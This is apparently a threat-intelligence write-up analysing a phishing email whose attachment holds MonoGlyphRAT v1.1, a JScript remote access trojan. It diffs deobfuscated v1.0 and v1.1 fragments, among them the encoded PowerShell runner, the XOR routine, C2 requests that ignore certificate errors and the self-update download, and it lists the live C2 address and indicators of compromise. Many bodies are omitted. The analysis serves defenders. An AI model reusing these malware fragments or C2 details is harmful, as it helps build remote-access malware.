Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

QUOTATION 2026-009-036

On September 9 2026, 10:36 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
“Billian Liao” <dennis@elsserv.com>QUOTATION 2026-009-036dennis@elsserv.com74.208.12.112

The sender domain has not configured DKIM and DMARC and the SPF check passed. The sender IP also matches the A record of the domain which was registered 11 years ago. The website offers an Electronic Litigation Support service and the sender address is listed in its contacts. This is consistent with compromise of the sender address or abuse of the associated mail infrastructure.

The email contains the following attachment:

NameTypeMagicSHA256
QUOTE 2026-009-036.gzGZIPgzip compressed data, was “QUOTE 2026-009-036.js”, last modified: Wed Sep 9 09:44:54 2026, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2693290159522bcc9567048cb60126ea1b40fabcf6250fd4a27013e55183298e2e79a8

Analysis

Decompressing yields the file “QUOTE 2026-009-036.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated using webcrack. The script is a new variant (v1.1) of a sample I had previously analysed, which ANY.RUN researchers later named “MonoGlyphRAT”1. As before, much of the implementation will be omitted to prevent reproduction of the malware.

Environment Setup

Status Enum

The enum which represented the status of an Exec() call is removed in this build and the status check against its “Finished” value is replaced with a hardcoded comparison.

Command Enum

The “GetPayload” command (vc parameter) which was unused in v1.0 has been removed.

v1.0

(function (p56) {
  p56.GetFile = "ex";
  p56.GetLoader = "sb";
  p56.GetPayload = "vc";
  p56.GetProperties = "df";
  p56.GetUpdate = "kp";
  p56.GetShell = "tw";
})(v19 ||= {});

v1.1

(function (P) {
  P.GetFile = "ex";
  P.GetLoader = "sb";
  P.GetProperties = "df";
  P.GetUpdate = "kp";
  P.GetShell = "tw";
})(D ||= {});

JSON Serialisation

The implementation of the JSON serialisation class K remains the same.

Abstraction Layer

Operating System

The z class, which implements abstractions for OS operations, now incorporates the callback functions as well as “Initialize” and “Run” which were implemented in a separate class in v1.0.

  • The function OpenFile which was unused in v1.0 has been removed.
  • The functions GetCurrentScriptFile, GetScriptHostFile, and RunScript have been moved to other classes.
  • The function QueryWMIService has been renamed to QueryWMI and its implementation has changed. It creates a fresh SWbemLocator COM object2 on every call, connects to the local machine’s CIM repository, and executes a WMI query. The result is a COM collection which is walked using a JScript Enumerator and each element is pushed into the returned array.
  • The properties wscriptShell and Object have been renamed to Host and Shell respectively.
var z = function () {
  function _Z() {}
  _Z.AddExitCallback = function (O) { /* omitted */ };
  _Z.RemoveExitCallback = function (O) { /* omitted */ };
  _Z.DoExitCallback = function () { /* omitted */ };
  _Z.Initialize = function () { /* omitted */ };
  _Z.CreateObject = function (O) { /* omitted */ };
  _Z.Exec = function (O) { /* omitted */ };
  _Z.Exit = function (O) { /* omitted */ };
  _Z.GetArguments = function () { /* omitted */ };
  _Z.GetCurrentDirectory = function () { /* omitted */ };
  _Z.GetEnviromentVariable = function (O) { /* omitted */ };
  _Z.QueryWMI = function (O, I) {
    var W = _Z.CreateObject("WbemScripting.SWbemLocator").ConnectServer(".", "root\\cimv2").ExecQuery("SELECT " + I + " FROM " + O);
    for (var m = new Enumerator(W), q0 = []; !m.atEnd(); m.moveNext()) {
      q0.push(m.item()[I]);
    }
    return q0;
  };
  _Z.Run = function (O, I, W) { /* omitted */ };
  _Z.Sleep = function (O) { /* omitted */ };
  _Z.ExitCallbacks = [];
  _Z.Host = WSH;
  _Z.Shell = _Z.CreateObject("Wscript.Shell");
  return _Z;
}();

File System

The v class implements abstractions for file system operations. The function GetFileSystemObject which lazy-loaded FileSystemObject has been replaced with the property “FileSystemObject”.

v1.0

var vF5 = function () {
  function f5(p42, p43) { /* omitted */ }
  f5.GetFileSystemObject = function () {
    if (f5.fso == null) {
      f5.fso = vVF3.CreateObject("Scripting.FileSystemObject");
    }
    return f5.fso;
  };
  // ...
  return f5;
}();

v1.1

var v = function () {
  function V(R, Z) { /* omitted */ }
  // ...
  V.FileSystemObject = z.CreateObject("Scripting.FileSystemObject");
  return V;
}();

The GetParent method has been renamed to GetParentPath and the GetParentFile method has been renamed to GetParent. Also, it now calls the String.IsNullOrWhiteSpace helper function instead of performing the same check directly.

v1.0

  f5.prototype.GetParent = function () { /* omitted */ };
  f5.prototype.GetParentFile = function () {
    var v82 = this.GetParent();
    if (v82 == null || v82 == "") {
      return null;
    } else {
      return new f5(v82);
    }
  };

v1.1

  V.prototype.GetParentPath = function () { /* omitted */ };
  V.prototype.GetParent = function () {
    var R = this.GetParentPath();
    if (!String.IsNullOrWhiteSpace(R)) {
      return new V(R);
    }
  };

The CreateParentPath method calls the CreateFolder method of the FileSystemObject directly instead of using MakeDirectries [sic] which has been removed. It also checks if the parent path is blank and not just null and wraps the folder creation in a try-catch block.

v1.0

  f5.prototype.CreateParentPath = function () {
    var v74 = this.GetParentFile();
    return v74 == null || !!v74.Exists() || v74.MakeDirectries();
  };
  // ...
  f5.prototype.MakeDirectries = function () {
    return !this.Exists() && (f5.GetFileSystemObject().CreateFolder(this.GetPath()), true);
  };

v1.1

  V.prototype.CreateParentPath = function () {
    var Z = this.GetParentPath();
    if (String.IsNullOrWhiteSpace(Z)) {
      return true;
    }
    try {
      return !!V.FileSystemObject.FolderExists(Z) || V.FileSystemObject.CreateFolder(Z) != null;
    } catch (W) {
      return false;
    }
  };

The GetExtension method calls the GetExtensionName method of the FileSystemObject instead of calling the now removed GetName method and keeping the substring after the last dot.

v1.0

  f5.prototype.GetExtension = function () {
    var v79 = this.GetName();
    var v80 = v79.lastIndexOf(".");
    if (v80 > -1) {
      return v79.substring(v80 + 1);
    } else {
      return null;
    }
  };
  f5.prototype.GetName = function () { /* omitted */ };

v1.1

  V.prototype.GetExtension = function () {
      var R = V.FileSystemObject.GetExtensionName(this.path);
      if (!String.IsNullOrWhiteSpace(R)) {
        return R;
      }
  };

The newly added function WriteText creates a text file at the given path and writes a string to it.

  V.WriteText = function (R, Z, O) {
    try {
      Z.CreateParentPath();
      var W = V.FileSystemObject.CreateTextFile(Z.GetPath(), true, O);
      W.Write(R);
      W.Close();
      return true;
    } catch (q1) {
      return false;
    }
  };

Core Utilities

The B / Y class provides various utilities for encoding, WMI queries, and command execution. Many of the function implementations now employ obfuscation techniques to obscure the underlying logic, such as identifier mangling, opaque predicates, function indirection, and dead code insertion.

var B = function () {
  // ...
  function R() {}
  // ...
  R.SALTCHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
  R.BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  return R;
}();
var Y = B;

The encoding functions AsciiToHex and HexToAscii have been removed, StringToUTF16Bytes has been renamed to UTF16_GetBytes, and its inverse function UTF16_GetString has been added.

The DownloadFile function which was unused in v1.0 has been removed.

The GetScriptHostFile function has been moved to this class.

  R.GetScriptHostFile = function () {
    return new v(z.Host.FullName);
  };

The RunScript function has been moved to this class and renamed to RunJScript. Also, the status check uses a hardcoded number as the corresponding enum has been removed.

v1.0

  f3.RunScript = function (p22) {
    /* omitted */
    var v28 = f3.Exec(v25);
    f3.Sleep(400);
    return v28.Status <= v.Finished;
  };

v1.1

  R.RunJScript = function (Z) {
    /* omitted */
    var q2 = z.Exec(m);
    z.Sleep(400);
    return q2.Status <= 1;
  };

The RunPowershell function constructs the command as a string rather than an array.

v1.0

  f4.RunPowerShell = function (p27, p28 = true) {
    var v37 = f4.StringToUTF16Bytes(p27);
    var v38 = ["powershell", "-nop", "-enc", "\"" + f4.BytesToBase64(v37) + "\""];
    return vVF3.Run(v38, 0, p28) == 0;
  };

v1.1

  R.RunPowerShell = function (Z, O = true) {
    var W = R.UTF16_GetBytes(Z);
    var m = R.BytesToBase64(W);
    var q0 = `powershell -nop -enc "${m}"`;
    return z.Run(q0, 0, O) == 0;
  };

The XorEncryptDecrypt function now operates in place on a UTF-16 byte array, XORing each byte with the repeating key, whereas in v1.0 it operated on a string and XORed each 16-bit character code with an 8-bit key, leaving the high byte unchanged for non-ASCII characters.

v1.0

  f4.XorEncryptDecrypt = function (p40, p41) {
    var v68 = "";
    for (var v69 = 0; v69 < p40.length; v69++) {
      var v70 = p40.charCodeAt(v69);
      var v71 = p41[v69 % p41.length];
      v68 += String.fromCharCode(v70 ^ v71);
    }
    return v68;
  };

v1.1

  R.XorEncryptDecrypt = function (Z, O) {
    for (var I = 0; I < Z.length; I++) {
      var W = Z[I];
      var m = O[I % O.length];
      Z[I] = W ^ m;
    }
  };

The alphabet used in the GetRandomString function has been moved to the SALTCHARS property rather than hardcoded within the function.

v1.0

  f4.GetRandomString = function (p31) {
    var v39 = new Array(p31);
    for (var v40 = 0; v40 < p31; v40++) {
      var v41 = f4.GetRandonNumber(35);
      v39[v40] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".charAt(v41);
    }
    return v39.join("");
  };

v1.1

  R.GetRandomString = function (Z) {
    var O = R.SALTCHARS.length - 1;
    var I = new Array(Z);
    for (var W = 0; W < Z; W++) {
      var m = R.GetRandonNumber(O);
      I[W] = R.SALTCHARS.charAt(m);
    }
    return I.join("");
  };

Execution Engine

Anti-analysis Logic

The implementation of the junk operation class j remains the same.

Fake Multi-Threading

The implementation of the fake multi-threading class M also remains the same.

Command Handling

The H class is responsible for handling commands received from the C2 server through the X-A response header just like in v1.0.

var H = function () {
  function _R() {}
  // ...
  return _R;
}();

The main difference is that the PowerShell templates are no longer hardcoded in the script but are instead lazily requested from the C2 server with the fp parameter set to “1”.

  _R.ExecuteFile = function (Z, O) {
    try {
      /* omitted */
      if (String.IsNullOrWhiteSpace(_R.File)) {
        _R.File = b.DownloadString(q3 + "&fp=1");
      }
      /* omitted */
    } catch (q8) {}
  };
  _R.LoadProcess = function (Z, O) {
    try {
      /* omitted */
      if (String.IsNullOrWhiteSpace(_R.PowerShell)) {
        _R.PowerShell = b.DownloadString(q0 + "&fp=1");
      }
      /* omitted */
    } catch (q5) {}
  };
  _R.StartShell = function (Z, O) {
    try {
      /* omitted */
      if (String.IsNullOrWhiteSpace(_R.Shell)) {
        _R.Shell = b.DownloadString(q0 + "&fp=1");
      }
      /* omitted */
    } catch (q3) {}
  };

Additionally, the GetProperties function, which exfiltrates detailed computer info and running processes, now sends the data as a POST body instead of a GET query string.

Also, the UpdateClient function downloads the update from the C2 server and writes it to disk directly, rather than calling a PowerShell template to download and decrypt the payload.

  _R.UpdateClient = function (Z, O) {
    try {
      /* omitted */
      if (q0.Status == 200) {
        var q1 = v.CreateTemporaryFile("js");
        if (v.WriteText(q0.ResponseText, q1, true)) {
          Z.Client.Update(q1);
        }
      }
      /* omitted */
    } catch (q5) {
      /* omitted */
    }
  };

C2 Communication

The J class handles the communication with the C2 server, receiving the session identifier through the X-S response header just like in v1.0.

var J = function () {
  function V(R, Z) { /* omitted */ }
  // ...
  return V;
}();

All communication is now performed over HTTPS using the WinHttp.WinHttpRequest.5.1 COM object. This includes the Connect and Ping methods of the J class, as well as the GetProperties and UpdateClient functions of the H class. Server certificate errors are ignored by setting the WinHttpRequestOption_SslErrorIgnoreFlags option (index 4) to the value 13056 (0x3300)3.

The Ping method now sends a GET request instead of POST and includes a cache-busting parameter named “_nocache” that is set to the current timestamp.

v1.0

  f9.prototype.Ping = function () {
    try {
      var v130 = vVF3.CreateObject("MSXML2.XMLHTTP");
      v130.open("POST", this.HOST + "?ia=" + this.IDENTIFIER, false);
      v130.send();
      /* omitted */
    } catch (fFFFFFfFffFFffff) {
      /* omitted */
    }
  };

v1.1

  V.prototype.Ping = function () {
    try {
      var Z = "?ia=" + this.IDENTIFIER + "&_nocache=" + new Date().getTime();
      var O = z.CreateObject("WinHttp.WinHttpRequest.5.1");
      O.Open("GET", this.HOST + Z, false);
      b.SetOption(O, 4, 13056);
      O.Send();
      /* omitted */
    } catch (m) {
      /* omitted */
    }
  };

The Idle method has been removed and the connection state modifications it performed are now inlined in the corresponding branch of the Handle function of the H class.

Additionally, the new b class is introduced which provides HTTP utility functions.

  • DownloadString sends a request to the given URL and returns the response text.
  • GetResponseHeader returns a certain header from an HTTP response.
  • SetOption & InternalSetOption set the value of an HTTP request option.
var b = function () {
  function V() {}
  V.DownloadString = function (R) { /* omitted */ };
  V.GetResponseHeader = function (R, Z) { /* omitted */ };
  V.SetOption = function (R, Z, O) {
    V.InternalSetOption(R, Z, O);
  };
  V.InternalSetOption = new Function("o", "i", "v", "o.Option(i) = v;");
  return V;
}();

Entry Point

The A / U class implements the main entry point.

function w() {}

var A = function (P) {
  function R() {
    return P !== null && P.apply(this, arguments) || this;
  }
  k(R, P);
  // ...
  return R;
}(w);
var U = A;

In the original TypeScript code, before transpilation and obfuscation, it extended the currently empty w base class, as indicated by the __extends helper generated by TypeScript.

var F;

var k = undefined && undefined.__extends || (F = function (P, V) {
  F = Object.setPrototypeOf || {
    __proto__: []
  } instanceof Array && function (O, I) {
    O.__proto__ = I;
  } || function (O, I) {
    for (var m in I) {
      if (Object.prototype.hasOwnProperty.call(I, m)) {
        O[m] = I[m];
      }
    }
  };
  return F(P, V);
}, function (P, V) {
  if (typeof V != "function" && V !== null) {
    throw new TypeError("Class extends value " + String(V) + " is not a constructor or null");
  }
  function R() {
    this.constructor = P;
  }
  F(P, V);
  P.prototype = V === null ? Object.create(V) : (R.prototype = V.prototype, new R());
});

The class methods are implemented in the same way as v1.0 with the exception of the MeltOriginalFile check being used only in TryInstallClient and removed from TryUpdateClient, which now unconditionally removes the original file after the update.

The C2 server in this sample is “https://45.141.148.134:2002/AymxbQ” and the following configuration properties are set:

  R.Installed = false;
  R.Identifier = "cf221ab7-7093-4e24-8a0e-0c997bda78e8";
  R.UpdateClient = "--update";
  R.DelayedConnect = "UWoTDGPb";
  R.InstantConnect = "juwLvZVmV";
  R.PathName = "APPDATA";
  R.FolderName = "idPmHmQcrY";
  R.FileName = "nCTHQqOiohsixdVHunXcFnoqSFRDqo";
  R.DecryptionKey = "";
  R.ConnectionMode = "0";
  R.ConnectionDelay = "0";
  R.InstallationDelay = "0";
  R.InstallClient = "1";
  R.MeltOriginalFile = "0";
  R.OnExecutionType = "-1";
  R.OnExecutionValue = "";
  R.OnInstallationType = "-1";
  R.OnInstallationValue = "";

The decoy PDF has been removed, but a single sample is not enough to surmise whether this is the default for the v1.1 variant or only changed in this specific sample.

Summary

MonoGlyphRAT v1.1 is a modified variant of the original v1.0 with a reorganised class structure, fixed XOR encryption for UTF-16 characters, and additional obfuscation in utility functions. The PowerShell script templates are no longer embedded in the script but are instead fetched from the C2 server at runtime, preventing static recovery. All C2 communication has moved from HTTP to HTTPS with certificate validation suppressed, and the “GetProperties” exfiltration command sends a POST request instead of GET, while the keep-alive ping sends a GET request instead of POST.

Indicators of Compromise

TypeValueLinksComment
Emaildennis@elsserv.comN/ASender address
Domainelsserv.comMXToolBox
VirusTotal
Sender domain
IP74.208.12.112AbuseIPDBSender IP
IP45.141.148.134AbuseIPDBC2 IP
Hash0159522bcc9567048cb60126ea1b40fabcf6250fd4a27013e55183298e2e79a8VirusTotal
Triage
QUOTE 2026-009-036.gz
Hashc71104d6d1ec4bc0c1a3c785469d96217337ce5975e56125085ce7a9d1aa38d1VirusTotal
Hybrid Analysis
QUOTE 2026-009-036.js
Path%APPDATA%\idPmHmQcrY\nCTHQqOiohsixdVHunXcFnoqSFRDqo.jsPersistence
RegistryHKCU\Software\Microsoft\Windows\CurrentVersion\Run\idPmHmQcrYPersistence

MITRE ATT&CK® Techniques


  1. JS.MonoGlyphRAT Analysis: Financial Risks for Businesses

  2. SWbemServices.ExecQuery method (Wbemdisp.h) - Win32 apps | Microsoft Learn

  3. WinHttpRequestOption enumeration - Win32 apps | Microsoft Learn